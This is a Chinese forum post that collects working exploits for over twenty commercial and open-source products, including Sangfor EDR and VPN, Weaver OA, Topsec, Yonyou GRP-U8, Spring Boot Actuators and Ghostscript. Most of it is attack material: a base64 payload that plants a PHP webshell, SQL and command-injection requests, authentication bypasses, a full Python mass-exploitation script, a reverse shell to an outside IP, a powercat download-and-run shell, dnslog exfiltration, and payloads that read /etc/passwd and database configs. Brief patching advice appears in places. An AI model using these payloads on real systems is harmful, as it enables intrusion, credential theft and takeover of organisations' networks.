跳转到帖子

recommended_posts

发布于
  • Members
一、齐治堡垒机前远程命令执行漏洞(CNVD-2019-20835)1、访问 http://10.20.10.11/listener/cluster_manage.php  :返回 "OK".(未授权无需登录)2、访问如下链接即可获得getshell,执行成功后,生成PHP一句话马
https://10.20.10.10/ha_request.php?action=install&ipaddr=10.20.10.11&node_id=1${IFS}|`echo${IFS}" ZWNobyAnPD9waHAgQGV2YWwoJF9SRVFVRVNUWzEwMDg2XSk7Pz4nPj4vdmFyL3d3dy9zaHRlcm0vcmVzb3VyY2VzL3FyY29kZS9sYmo3Ny5waHAK"|base64${IFS}- d|bash`|${IFS}|echo${IFS}
3.getshell访问路径:
/var/www/shterm/resources/qrcode/lbj77.php  
https://10.20.10.10/shterm/resources/qrcode/lbj77.php(密码10086)
n0ejnbpqyk113323.jpg

据说还是另外一个版本是java的:

POST /shterm/listener/tui_update.php


a=["t';import os;os.popen('whoami')#"]

dh15nvjaqw113324.jpg

二、天融信TopApp-LB 负载均衡系统Sql注入漏洞

1.利用POC:POST /acc/clsf/report/datasource.php HTTP/1.1Host: localhostConnection: closeAccept: text/javascript, text/html, application/xml, text/xml, */*User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36Accept-Language: zh-CN,zh;q=0.9Content-Type: application/x-www-form-urlencoded t=l&e=0&s=t&l=1&vid=1+union select 1,2,3,4,5,6,7,8,9,substr('a',1,1),11,12,13,14,15,16,17,18,19,20,21,22--+&gid=0&lmt=10&o=r_Speed&asc=false&p=8&lipf=&lipt=&ripf=&ript=&dscp=&proto=&lpf=&lpt=&rpf=&rpt=@。。flpce3si5qk13325.jpg

2.2个历史漏洞仍然可以复现。

https://www.uedbox.com/post/21626/

用户名随意  密码:;id(天融信负载均衡TopApp-LB系统无需密码直接登陆)

https://www.uedbox.com/post/22193/用户名:  ; ping 9928e5.dnslog.info; echo   密码:任意
1q351zsvkdc13326.jpg


三、用友GRP-u8 注入

利用POC:POST /Proxy HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0;)Host: localhostContent-Length: 341Connection: Keep-AliveCache-Control: no-cache
cVer=9.8.0&dp=<?xml version="1.0" encoding="GB2312"?><R9PACKET version="1"><DATAFORMAT>XML</DATAFORMAT><R9FUNCTION><NAME>AS_DataRequest</NAME><PARAMS><PARAM><NAME>ProviderName</NAME><DATA format="text">DataSetProviderData</DATA></PARAM><PARAM><NAME>Data</NAME><DATA format="text">exec xp_cmdshell 'whoami'</DATA></PARAM></PARAMS></R9FUNCTION></R9PACKET>

05zega0zsis13327.jpg

四、绿盟UTS综合威胁探针管理员任意登录

逻辑漏洞,利用方式参考:https://www.hackbug.net/archives/112.html

1、修改登录数据包 {"status":false,"mag":""} -> {"status":true,"mag":""}

2、/webapi/v1/system/accountmanage/account接口逻辑错误泄漏了管理员的账户信息包括密码(md5)

3、再次登录,替换密码上个数据包中md5密码

4、登录成功

twmvnv4dyxu13328.jpg漏洞实际案例:1ats4ipxe5z13329.jpgc32bvz5casv13330.jpg对响应包进行修改,将false更改为true的时候可以泄露管理用户的md5值密码pzd5fmss1wn13331.jpg4ak25qfkhe113332.jpgmhqr1rtey5v13333.jpgmqtrodfl0dn13334.jpg利用渠道的md5值去登录页面xtcv0wejdn413335.jpg7ac301836522b54afcbbed714534c7fbtey0p1yqsgf13336.jpggbejcogwdnd13337.jpg

五、天融信数据防泄漏系统越权修改管理员密码

无需登录权限,由于修改密码处未校验原密码,且/?module=auth_user&action=mod_edit_pwd,接口未授权访问,造成直接修改任意用户密码,默认superman账户uid为1

POST /?module=auth_user&action=mod_edit_pwd 

Cookie: username=superman;


uid=1&pd=Newpasswd&mod_pwd=1&dlp_perm=1

q13lymlyka413338.jpg


六、WPS Office 图片解析错误导致堆损坏,任意代码执行

看上去(算了看不懂... ,漏洞利用可能导致拒绝服务。

相关参考:

http://zeifan.my/security/rce/heap/2020/09/03/wps-rce-heap.html

七、SANGFOR终端检测响应平台-任意用户登录

fofa指纹:title="SANGFOR终端检测响应平台"

漏洞利用:
payload:

  https://ip/ui/login.php?user=需登录的用户名

列如:

  https://1.1.1.1:1980/ui/login.php?user=admin

查询完毕以后即可登录平台。
QQ截图20200820123214.png




八、某信服EDR漏洞-包含payload

1.漏洞利用方法:

https://xxx.xxx.xxx/tool/log/c.php?strip_slashes=system&host=whoamiQQ截图20200818102206.png

2.批量利用方法

网上已经放出批量利用方法了,如下:https://github.com/A2gel/sangfor-edr-exploit

# -*- coding: utf-8 -*-

# @Time : 2020/8/17

# @Author : Angel

# @File : edr.py

# 感谢大佬提供Command execute部分代码



import requests

import re

import urllib3

import sys

import base64

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


def hello():

    """

    init function

    :return: init print

    """

    print (

    """SangFor EDR remote command code exploit

    Angel 20200817

    

    Github: https://github.com/A2gel/sangfor-edr-exploit

    

    Command: python edr.py url http://10.10.10.0/

    Command: python edr.py file 1.txt whoami""")


def readFile(filename):

    """

    逐行读取文件内容并返回列表

    :param filename: 文件名

    :return: 逐行分割的文件内容

    """

    list=[]

    keywords = open('./'+filename, 'r')

    line = keywords.readline().strip('\n')

    while (line):

        list.append(line)

        line = keywords.readline().strip('\n')

    keywords.close()

    return list



def log(name,value):

    """

    逐行写入文件

    :param name: 文件名

    :param value: 文件内容

    :return: 空

    """

    save = file(str(name)+".txt", "a+")

    save.write(str(value)+"\n")

    save.close()



def rce(host,command):

    """

    远程命令执行核心函数

    

    :param host: URL信息

    :param command: 执行的命令

    :return: 成功执行返回命令回显 失败打印faild 返回-

    """

    headers={

        'Connection': 'close',

        'Cache-Control': 'max-age=0',

        'Upgrade-Insecure-Requests': '1',

        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36',

        'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',

        'Sec-Fetch-Site': 'none',

        'Sec-Fetch-Mode': 'navigate',

        'Sec-Fetch-User': '?1',

        'Sec-Fetch-Dest': 'document',

        'Accept-Encoding': 'gzip, deflate',

        'Accept-Language': 'zh-CN,zh;q=0.9'


    }

    command=base64.b64encode(command)

    command="echo \""+command+"\""+"|base64 -d|bash"

    command = command.replace(" ","$IFS")


    url="{}/tool/log/c.php?strip_slashes=system&host={}".format(host,command)

    #print url

    try:

        response = requests.get(url,verify=False,headers=headers)

        response.raise_for_status()

        response.encoding = "utf-8"

        #print response.text

        res=re.findall(r'<b>Log Helper</b></p>(.+?)<pre><form',response.text,re.S)

        response.close()

        print(res[0])

        return "+"

    except:

        print('failed')

        return "-"


if __name__ == '__main__':

    if len(sys.argv) < 2:

        hello()

    else:

        if sys.argv[1] == "url":

            while 1:

                command = raw_input("Command> ")

                if command:

                    print ("Try %s"%sys.argv[2])

                    rce(sys.argv[2],command)

                else:

                    print ("Please input Command")

                command = ""


        elif sys.argv[1] == "file":

            if (sys.argv) < 3:

                print "Command: python edr.py file url.txt"

            else:

                for i in readFile(sys.argv[2]):

                    print ("Try %s"%i)

                    if rce(i,sys.argv[3]) == "+":

                        log("success",sys.argv[3])

                    else:

                        log("error",sys.argv[3])

        else:

            hello()


3.使用方法

单个url

python edr.py url http://10.10.10.10

Command> whoami
Try http://10.10.10.10
root

批量url 需要在目录下创建xxx.txt 一行一个url

python edr.py file 1.txt whoami

Try: http://10.10.10.10
root
Try: http://10.10.10.11
root

九、sangfor EDR RCE漏洞

1.漏洞原理:

dev_linkage_launch.php 为设备联动的新入口点主要是将联动的接口构造成业务统一处理的接口

主要调用

zmmjrqanpap13341.jpg

nwxiyydzwgz13342.jpg

跟进

ylai1kpei5o13343.jpg

可以看到 第一个检查为  $req_url = $_SERVER['PHP_SELF'];

绕过第一个检查:

在他们系统nginx配置文件里面:

bd2dap4fkus13344.jpg

通过nginx规则可以得知,他们没有设置禁止外网访问.从而可以直接访问

/api/edr/sangforinter/v2/xxx 绕过 第一个检查

第二检查: 权限检查

ij50w4oaewm13345.jpg

跟进check_access_token

y4edzgyelht13346.jpg

这里if($md5_str == $json_token["md5"]) 引发第二个漏洞: php弱类型导致的漏洞

绕过只需要传入一个base64编码的json内容为 {“md5”:true}即可

至此 权限检查绕过完毕

来到  process_cssp.php 文件

c4zekvsh5ab13347.jpg

存在任意指令执行漏洞.作者试图使用escapeshellarg函数去给单引号打反斜杠实际上是毫无作用的.

绕过:{"params":"w=123\"'1234123'\"|命令"}

2.利用POC:

post  /api/edr/sanforinter/v2/cssp/slog_client?token=ssskbkds  HTTP/1.1.


{"params":"w=123\"'1234123'\"|bash  -i >/dev/tcp/167.179.118.219/8899  0>&1"}

IMG_256

外网linux反弹监听NC端口

nc -lvvp  889

IMG_256

深信服EDR 远程命令执行的技巧:

/api/edr/sangforinter/v2/cssp/slog_client?token=eyJtZDUiOnRydWV9

{"params": "w=123\"'1234123'\"|curl `whoami`.dnslog.cn"}

3fpylrkbjsv13350.jpg
十、联软科技产品存在任意文件上传和命令执行漏洞1.影响范围:联软科技相关产品

2.漏洞描述:任意文件上传漏洞,存在于用户自检报告上传时,后台使用黑名单机制对上传的文件进行过滤和限制,由于当前黑名单机制存在缺陷,文件过滤机制可以被绕过,导致存在文件上传漏洞;利用该漏洞可以获取webshell权限。

命令执行漏洞,存在于后台资源读取过程中,对于自动提交的用户可控参数没有进行安全检查,可以通过构造特殊参数的数据包,后台在执行过程中直接执行了提交数据包中的命令参数,导致命令执行漏洞;该漏洞能够以当前运行的中间件用户权限执行系统命令,根据中间件用户权限不同,可以进行添加系统账户,使用反弹shell等操作。

3.规避措施:建议各单位在修补漏洞前制定详细的书面方案,方案需要包含升级、业务验证、回退等内容。升级加固操作建议在业务闲时进行操作,各单位可以分批次,采取先验证后批量修复的方式开展升级工作。如果在修复时发生异常,建议按照预先制定的应急预案进行回退,确保不影响业务的正常运行。各单位在升级后需进行相关业务验证,确保本次漏洞临时修复方案对业务零影响。十一、泛微OA Bsh 远程代码执行漏洞1. 漏洞简介2019年9月17日泛微OA官方更新了一个远程代码执行漏洞补丁, 泛微e-cology OA系统的Java Beanshell接口可被未授权访问, 攻击者调用该Beanshell接口, 可构造特定的HTTP请求绕过泛微本身一些安全限制从而达成远程命令执行, 漏洞等级严重.2. 影响组件:泛微OA3. 漏洞指纹Set-Cookie: ecology_JSessionId=ecology/weaver/bsh.servlet.BshServlet4. Fofa Dorkapp="泛微-协同办公OA"5. 漏洞分析https://www.freebuf.com/vuls/215218.htmlhttps://github.com/beanshell/beanshellhttp://beanshell.org/manual/quickstart.html#The_BeanShell_GUI6. 漏洞利用利用POC:POST /weaver/bsh.servlet.BshServlet HTTP/1.1Host: xxxxxxxx:8088Accept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Connection: closeContent-Length: 98Content-Type: application/x-www-form-urlencoded

bsh.script=eval%00("ex"%2b"ec(\"whoami\")");&bsh.servlet.captureOutErr=true&bsh.servlet.output=rawCNVD-2019-32204利用脚本:
https://github.com/myzing00/Vulnerability-analysis/tree/master/0917/weaver-oa/CNVD-2019-32204
批量脚本执行:
pip install requests
python Weaver-Ecology-OA_RCE-exp.py url.txt文件中 是url地址 需要带http协议7. 利用技巧其他形式绕过eval%00("ex"%2b"ec(\"whoami\")"); 也可以换成 ex\u0065c("cmd /c dir");泛微多数都是windows环境, 反弹shell可以使用pcatPowershellIEX(New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');powercat -c ip -p 6666 -e cmd8. 防护方法1.及时更新泛微补丁2.拦截/weaver/bsh.servlet.BshServlet目录的访问十二、泛微OA e-cology SQL注入漏洞1. 漏洞简介泛微OA在国内的用户很多,漏洞以前也很多,但现在在漏洞盒子托管了企业SRC: https://weaversrc.vulbox.com/, 情况有所好转2. 影响组件泛微OA3. 漏洞指纹Set-Cookie: ecology_JSessionId=ecologyWorkflowCenterTreeData/mobile/plugin/SyncUserInfo.jsp4. Fofa Dorkapp="泛微-协同办公OA"5. 漏洞分析泛微OA WorkflowCenterTreeData接口注入漏洞(限oracle数据库) – 先知社区
https://xz.aliyun.com/t/6531
6. 漏洞利用泛微OA e-cology WorkflowCenterTreeData前台接口SQL注入漏洞复现:修改NULL后为要查询的字段名,修改from后为查询的表:
POST /mobile/browser/WorkflowCenterTreeData.jsp?node=wftype_1&scope=2333 HTTP/1.1
Host: ip:portUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:56.0) Gecko/20100101 Firefox/56.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateContent-Type: application/x-www-form-urlencodedContent-Length: 2236Connection: closeUpgrade-Insecure-Requests: 1
formids=11111111111)))%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0在这里插入图片描述


https://github.com/orleven/Tentacle/blob/6e1cecd52b10526c4851a26249339367101b3ca2/script/ecology/ecology8_mobile_sql_inject.py #!/usr/bin/env python# -*- coding: utf-8 -*-# @author: 'orleven'
from lib.utils.connect import ClientSessionfrom script import Script, SERVICE_PORT_MAP
class POC(Script):    def __init__(self, target=None):        self.service_type = SERVICE_PORT_MAP.WEB        self.name = 'ecology8 mobile sql inject'        self.keyword = ['ecology8', 'sql inject']        self.info = 'ecology8 mobile sql inject'        self.type = 'inject'        self.level = 'high'        Script.__init__(self, target=target, service_type=self.service_type)
    async def prove(self):        await self.get_url()        if self.base_url:            path_list = list(set([                self.url_normpath(self.base_url, '/'),                self.url_normpath(self.url, './'),            ]))            pocs  = ["mobile/plugin/browser/WorkflowCenterTreeData.jsp?scope=1&node=root_1&formids=1/1&initvalue=1", # 注入点为formids,分母                     "mobile/plugin/browser/WorkflowCenterTreeData.jsp?scope=1&node=wftype_6/1&formids=1&initvalue=1"] # 注入点为node,分母            async with ClientSession() as session:                for path in path_list:                    for poc in pocs :                        url = path + poc
                        async with session.get(url=url) as res:                            if res!=None:                                text = await res.text()                                if '"draggable":false' in text:                                    self.flag = 1                                    self.req.append({"url": url})                                    self.res.append({"info": url, "key": "ecology8 inject"})                                    return应用安全 – 软件漏洞 – 泛微OA漏洞汇总:
https://blog.csdn.net/weixin_30855099/article/details/101191532
/mobile/plugin/SyncUserInfo.jsp 这个也是有问题的, 但由于没有公开的分析报告, 漏洞相对简单, 这里不过多描述7. 利用技巧1.在这个漏洞补丁之前大概有几十个前台注入, 都差不多, 因为没公开这里就不细说了2.泛微的补丁中间改过一次过滤策略, 打完所有补丁的话, 注入就很难了3.这里可以绕过的原因是泛微某个过滤器初始化错误,当长度超过xssMaxLength=500的时候就不进入安全检测, 修复以后是xssMaxLength=1000000,所以随便你填充%0a%0d还是空格都可以绕过注入检测4.泛微后端数据库版本存在差异, 但是可以通用检测。已知泛微OA E8存在2个版本的数据库, 一个是mssql, 一个是oracle, 且新旧版本泛微的sql过滤方法并不一致所以这里筛选出一个相对通用的检测手法(下面代码是python的" "*800 800个空格)"-1) "+" "*800+ "union select/**/1, Null, Null, Null, Null, Null, Null, Null from Hrmresourcemanager where loginid=('sysadmin'"老版本可以在关键字后面加 /**/ 来绕过sql检测新版本可以通过加入大量空格/换行来绕过sql检测mssql,oracle中都有Hrmresourcemanager , 这是管理员信息表就Hrmresource表中没有用户, Hrmresourcemanager 表中也一定会存在sysadmin账户,所以进行union select的时候一定会有数据。这里也可以使用 "-1) "+" "*800+ " or/**/ 1=1 and id<(5",这里使用 <5 可以避免信息超过5条, 但是会返回密码等敏感信息, 不建议使用。8. 防护方法1.及时更新泛微补丁
2.泛微最好不要开放到公网
3.使用waf拦击
十三、深信服VPN远程代码执行1. 漏洞简介深信服 VPN 某个特定产品存在远程代码执行, 2019 攻防演练使用过2. 影响组件:深信服 VPN3. 漏洞指纹Set-Cookie: TWFID=welcome to ssl vpn Sinfor4. Fofa Dorkheader="Set-Cookie: TWFID="5. 漏洞分析深信服vpnweb登录逆向学习:
https://www.cnblogs.com/potatsoSec/p/12326356.html
6. 漏洞利用wget -t %d -T %d --spider %s7. 利用技巧1.该版本深信服VPN属于相对早期的版本, 大概2008年左右, 但目前还有761个ip开放在公网2.该版本较低, whomai不存在, 可以使用 uname, 这里没有空格可dns传出来3.去除空格也简单 cat /etc/passwd | tr " \n" "+|"
8. 防护方法1.及时更新补丁2.升级到最新版十四、深信服 VPN 口令爆破1. 漏洞简介深信服 VPN 针对口令爆破是5次错误锁定IP五分钟, 所以这里爆破也不是不行, 主要是测试常见弱口令以及分布式爆破也不是不行2. 影响组件深信服 VPN3. 漏洞指纹/por/login_auth.csp?apiversion=1sangfor/cgi-bin/login.cgi?rnd=4. Fofa Dorkapp="深信服-SSL-VPN"5. 漏洞分析关于SSL VPN认证时的验证码绕过 – SSL VPN/EMM – 深信服社区
https://bbs.sangfor.com.cn/forum.php?mod=viewthread&tid=20633
此处存疑, 时间问题没有测试6. 漏洞利用1.深信服VPN 口令爆破 demo (这里仅测试了M6,其他的应该差不多)#encoding=utf8import requestsimport hashlibimport urllib3urllib3.disable_warnings()import resession = requests.session()def SanForLogin(target, password, username="admin"):    # 加密密码的算法是 sha1(password+sid)    # 没有公开POC就不写了SanForLogin("https://xxxxxxxxxxx/", "admin")7. 利用技巧1.由于深信服涉及的版本跨度时间达十几年, 很多地方不一样, 但是总体都差不太多国外APT组织应该也批量爆破了一波,加密的密码也就是 sha1(password+sid)爆破也就锁一会ip, 夜里丢一边跑着就完事了, 弱口令也就那么些admin/123456/Sangfor/Sangfor@1232.如果爆破出来了管理员密码, 管理员后台有好多处命令注入, 比如升级工具, 这里讲起来应该是正常功能3.去年传闻还有前台sql注入, 但是没拿到补丁, 手头没环境, 就没分析, 看一下乌云上的老洞吧。深信服SSLVPN外置数据中心敏感信息泄漏&SQL注入漏洞可导致getshell
https://www.uedbox.com/post/31092/
8. 防护方法1.及时更新补丁2.升级到最新版十五、常见边界产品(防火墙, 网关, 路由器, VPN) 弱口令漏洞1. 漏洞简介大型企业往往会配置一些边界设备来维护企业内外网通信, 这里也存在灯下黑的问题, 由于多数不开源, 漏洞主要以弱口令为主2. 影响组件防火墙, 网关, 路由器, VPN3. 漏洞指纹防火墙, 网关, 路由器, VPN4. Fofa Dork防火墙, 网关, 路由器, VPN 的名称5. 漏洞利用【安全设备】常见网络安全设备默认口令
https://www.it2021.com/security/614.html
渗透测试之各厂商防火墙登录IP、初始密码、技术支持
https://mp.weixin.qq.com/s/OLf7QDl6qcsy2FOqCQ2icA7. 利用技巧这个东西好多人不改默认口令, 就算改很多也是企业特色弱口令,admin root 123456 永远的神内网的安全平台就是个漏洞指南8. 防护方法1.设置强口令2.限制来源IP十六、Thinkphp 相关漏洞1. 漏洞简介Thinkphp 是国内很常见的PHP框架, 存在 远程代码执行/sql注入/反序列化/日志文件泄露等问题2. 影响组件
Thinkphp
3. 漏洞指纹Thinkphp X-Powered-By: ThinkPHP4. Fofa Dorkapp="ThinkPHP"5. 漏洞分析ThinkPHP漏洞总结 – 赛克社区
http://zone.secevery.com/article/1165
挖掘暗藏ThinkPHP中的反序列利用链 :
https://blog.riskivy.com/%E6%8C%96%E6%8E%98%E6%9A%97%E8%97%8Fthinkphp%E4%B8%AD%E7%9A%84%E5%8F%8D%E5%BA%8F%E5%88%97%E5%88%A9%E7%94%A8%E9%93%BE/
ThinkPHP使用不当可能造成敏感信息泄露:
https://blog.csdn.net/Fly_hps/article/details/81201904
DSMall代码审计:
https://www.anquanke.com/post/id/203461
6. 漏洞利用SkyBlueEternal/thinkphp-RCE-POC-Collection: thinkphp v5.x 远程代码执行漏洞-POC集合
https://github.com/SkyBlueEternal/thinkphp-RCE-POC-Collection
Dido1960/thinkphp: thinkphp反序列化漏洞复现及POC编写
https://github.com/Dido1960/thinkphp
whirlwind110/tphack: Thinkphp3/5 Log文件泄漏利用工具
https://github.com/whirlwind110/tphack
7. 利用技巧1.遇到Thinkphp的站点看一下版本, 或者直接扫一下, 看看有没有rce, 或者日志文件泄露2.自从挖了thinphp的反序列化利用链以后, 这类型考题经常出没在ctf中3.实战中也看到偶尔有可以利用的情况, 运气好可能有惊喜, 刚好有篇新出的文章中使用到了这个漏洞DSMall代码审计 – 安全客,安全资讯平台
https://www.anquanke.com/post/id/203461
8. 防护方法1.及时更新补丁2.升级到最新版Thinkphp3.前置WAF进行防护十七、Spring 系列漏洞1. 漏洞简介Spring 是java web里最最最最常见的组件了, 自然也是研究的热门, 好用的漏洞主要是Spring Boot Actuators 反序列化, 火起来之前用了一两年, 效果很棒2. 影响组件
Spring xxx
3. 漏洞指纹X-Application-Context:4. Fofa Dorkapp="Spring-Framework"5. 漏洞分析Spring 框架漏洞集合:
https://misakikata.github.io/2020/04/Spring-%E6%A1%86%E6%9E%B6%E6%BC%8F%E6%B4%9E%E9%9B%86%E5%90%88/
Exploiting Spring Boot Actuators | Veracode blog
https://www.veracode.com/blog/research/exploiting-spring-boot-actuators
Spring Boot Actuators配置不当导致RCE漏洞复现:
https://jianfensec.com/%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/Spring%20Boot%20Actuators%E9%85%8D%E7%BD%AE%E4%B8%8D%E5%BD%93%E5%AF%BC%E8%87%B4RCE%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/
6. 漏洞利用mpgn/Spring-Boot-Actuator-Exploit: Spring Boot Actuator (jolokia) XXE/RCE
https://github.com/mpgn/Spring-Boot-Actuator-Exploit
artsploit/yaml-payload: A tiny project for generating SnakeYAML deserialization payloads
https://github.com/artsploit/yaml-payload
7. 利用技巧1.Spring Boot Actuators 相关漏洞超级好用,很多厂商一开始都不懂, 直接对外开放Spring Boot Actuators, 造成了有一段时间每个用了Spring Boot的厂商都出了问题,尤其是现在很多厂商使用微服务框架, 通过网关进行路由分发, 一些子目录通常对应一个Spring Boot启动的服务。然后子目录比如 http://123.123.123.123/admin/env , http://123.123.123.123/manager/env也都是可以出现的/env 可以偷session, RCE/heapdump 可以直接dump jvm中的对象, 使用 jhat 可以读取里面的对象可以遍历如下的endpoint, 1.x 2.x的目录不一样, 所以都覆盖了一下/trace/health/loggers/metrics/autoconfig/heapdump/threaddump/env/info/dump/configprops/mappings/auditevents/beans/jolokia/cloudfoundryapplication/hystrix.stream/actuator/actuator/auditevents/actuator/beans/actuator/health/actuator/conditions/actuator/configprops/actuator/env/actuator/info/actuator/loggers/actuator/heapdump/actuator/threaddump/actuator/metrics/actuator/scheduledtasks/actuator/httptrace/actuator/mappings/actuator/jolokia/actuator/hystrix.stream/monitor/monitor/auditevents/monitor/beans/monitor/health/monitor/conditions/monitor/configprops/monitor/env/monitor/info/monitor/loggers/monitor/heapdump/monitor/threaddump/monitor/metrics/monitor/scheduledtasks/monitor/httptrace/monitor/mappings/monitor/jolokia/monitor/hystrix.stream这里通过 /env + /refresh 进行rce应该还有其他利用手法, 当spring boot reload的时候会进行一些默认操作,里面就有操作空间, 很像fastjson反序列化。2.就算实在不能RCE, 这里也有个技巧可以偷取 Spring 配置文件中的加密字段, 偷一下生产环境的密码/key也okeureka.client.serviceUrl.defaultZone=http://${somedb.pasword}@127.0.0.1:5000spring.cloud.bootstrap.location=http://${somedb.password}@artsploit.com/yaml-payload.yml3.尤其是使用spring eureka做集群的时候, 通常拿到一台服务器, 就可以传递恶意注册到其他server, 从而感染整个微服务集群eureka 通常是 server 也是 client, 无论对方请求什么都直接返回恶意序列化xml就可以了8. 防护方法1.及时更新补丁2.开启Spring Boot Actuators权限校验3.前置WAF进行防护十八、Solr 系列漏洞1. 漏洞简介Solr 是企业常见的全文搜索服务, 这两年也爆出很多安全漏洞,2. 影响组件Solr3. 漏洞指纹Solr4. Fofa Dorkapp="Solr"5. 漏洞分析Apache Solr最新RCE漏洞分析 – FreeBuf互联网安全新媒体平台
https://www.freebuf.com/vuls/218730.html
Apache Solr DataImportHandler 远程代码执行漏洞(CVE-2019-0193) 分析
https://paper.seebug.org/1009/
6. 漏洞利用veracode-research/solr-injection: Apache Solr Injection Research
https://github.com/veracode-research/solr-injection
jas502n/CVE-2019-12409: Apache Solr RCE (ENABLE_REMOTE_JMX_OPTS=”true”)
https://github.com/jas502n/CVE-2019-12409
mogwailabs/mjet: MOGWAI LABS JMX exploitation toolkit
https://github.com/mogwailabs/mjet
7. 利用技巧1.看到锤就完事了, 漏洞太多了, 一片一片的2.遇到mjet连接超时,这是目标服务起返回了错误的stub(内网地址, 常见于docker), 可以使用socat进行流量转发, 后记里面有具体操作8. 防护方法1.升级到最新版2.不要对外开放敏感端口十九、Ghostscript 上传图片代码执行1. 漏洞简介Ghostscript 是图像处理中十分常用的库, 集成在imagemagick等多个开源组件中, 其 .ps文件存在沙箱绕过导致代码执行的问题影响广泛, 由于上传图片就有可能代码执行, 很多大厂中招2. 影响组件imagemagick, libmagick, graphicsmagick, gimp, python-matplotlib, texlive-core, texmacs, latex2html, latex2rtf 等图像处理应用3. 漏洞指纹.ps/.jpg/.png4. Fofa Dork5. 漏洞分析ghostscript命令执行漏洞预警 
https://www.anquanke.com/post/id/157513
6. 漏洞利用Exploit Database Search
https://www.exploit-db.com/search?q=Ghostscript
vulhub/ghostscript/CVE-2019-6116 at master · vulhub/vulhub
https://github.com/vulhub/vulhub/tree/master/ghostscript/CVE-2019-6116
7. 利用技巧1.如果发现网站可以上传图片, 且图片没有经过裁剪, 最后返回缩略图, 这里就可能存在Ghostscript 上传图片代码执行dnslog 可以用 ping `uname`.admin.ceye.io 或 ping `whoami`.admin.ceye.io保存成图片, 以后用起来方便, 有个版本的 centos 和 ubuntu poc还不一样, 可以这样构造ping `whoami`.centos.admin.ceye.io / ping `whoami`.ubuntu.admin.ceye.io分别命名为 centos_ps.jpg/ubuntu_ps.jpg, 这样测试的时候直接传2个文件, 通过DNSLOG可以区分是哪个poc执行的8. 防护方法1.升级到最新版二十、泛微云桥复现1.其实没什么复现的。。。未授权读取。直接调用exp就OK http://www.xxx.com/wxjsapi/saveYZJFile?fileName=test&downloadUrl=file:///etc/passwd&fileExt=txt http://www.xxx.com/wxjsapi/saveYZJFile?fileName=test&downloadUrl=file:///c://windows/win.ini&fileExt=txt2.任意读取linux的passwd值可在响应包中JSON中包含ID的32位值再次请求可获得/etc/passwd值http://www.xxx.com/FileNoLogin/32位MD5值http://www.xxx.com/wxjsapi/saveYZJFile?fileName=test&downloadUrl=file:///etc/passwd&fileExt=txt
wat1wihusm113352.jpgze5zcl0vtwt13353.jpggv0tdv4hayb13354.jpg3.任意读取winodws下的win.ini值未授权任意文件读取,/wxjsapi/saveYZJFile接口获取filepath,返回数据包内出现了程序的绝对路径,攻击者可以通过返回内容识别程序运行路径从而下载数据库配置文件危害可见。
1.downloadUrl参数修改成需要获取文件的绝对路径,记录返回包中的id值。http://www.xxx.com/wxjsapi/saveYZJFile?fileName=test&downloadUrl=file:///c://windows/win.ini&fileExt=txt
l3wpfnrvblq13355.jpg2.通过查看文件接口访问 /file/fileNoLogin/idgthra4oy02w13356.jpg


3.其他利用技巧(读取任意目录文件)简单说说昨天泛微云桥的报告,输入文件路径->读取文件内容,我们读了一下代码后发现这还能读取文件目录。参数不填写绝对路径写进文本内容就是当前的目录,产生了一个新的漏洞 “目录遍历”/wxjsapi/saveYZJFile?fileName=test&downloadUrl=file:///D:/&fileExt=txtnmf1odw2koh13357.jpg
目录遍历+文件读取,我们能做的事情就很多了,比如读取管理员在桌面留下的密码文件、数据库配置文件、nginx代理配置、访问日志、D盘迅雷下载:d://ebridge//tomcat//webapps//ROOT//WEB-INF//classes//init.properties
d:/OA/tomcat8/webapps/OAMS/WEB-INF/classes/dbconfig.properties 泛微OA数据库z5nzmmhczbd13358.jpg
4.修复建议:关闭程序路由 /file/fileNoLogin二十一、网瑞达webVPN RCE漏洞1.漏洞描述WebVPN是提供基于web的内网应用访问控制,允许授权用户访问只对内网开放的web应用,实现类似VPN(虚拟专用网)的功能。近日网瑞达的webVPN被曝出存在RCE的漏洞。修复建议建议去官网更新最新版本二十二、Apache DolphinScheduler高危漏洞(CVE-2020-11974、CVE-2020-13922)
1.漏洞描述Apache软件基金会发布安全公告,修复了Apache DolphinScheduler权限覆盖漏洞(CVE-2020-13922)与Apache DolphinScheduler远程执行代码漏洞(CVE-2020-11974)。CVE-2020-11974与mysql connectorj远程执行代码漏洞有关,在选择mysql作为数据库时,攻击者可通过jdbc connect参数输入{“detectCustomCollations”:true,“ autoDeserialize”:true} 在DolphinScheduler 服务器上远程执行代码。CVE-2020-13922导致普通用户可通过api interface在DolphinScheduler 系统中覆盖其他用户的密码:api interface /dolphinscheduler/users/update,请相关用户及时升级进行防护。2.影响范围Apache DolphinScheduler权限覆盖漏洞(CVE-2020-13922)3.受影响版本Apache DolphinScheduler = 1.2.0、1.2.1、1.3.14.不受影响版本Apache DolphinScheduler >= 1.3.2Apache DolphinScheduler远程执行代码漏洞(CVE-2020-11974)5.利用POC:
POST /dolphinscheduler/users/update
id=1&userName=admin&userPassword=Password1!&tenantId=1&email=sdluser%40sdluser.sdluser&phone=


利用漏洞:需要登录权限,提供一组默认密码。该漏洞存在于数据源中心未限制添加的jdbc连接参数,而实现JDBC客户端反序列化。1、登录到面板 -> 数据源中心。

ukok2tdmjqg13360.jpg

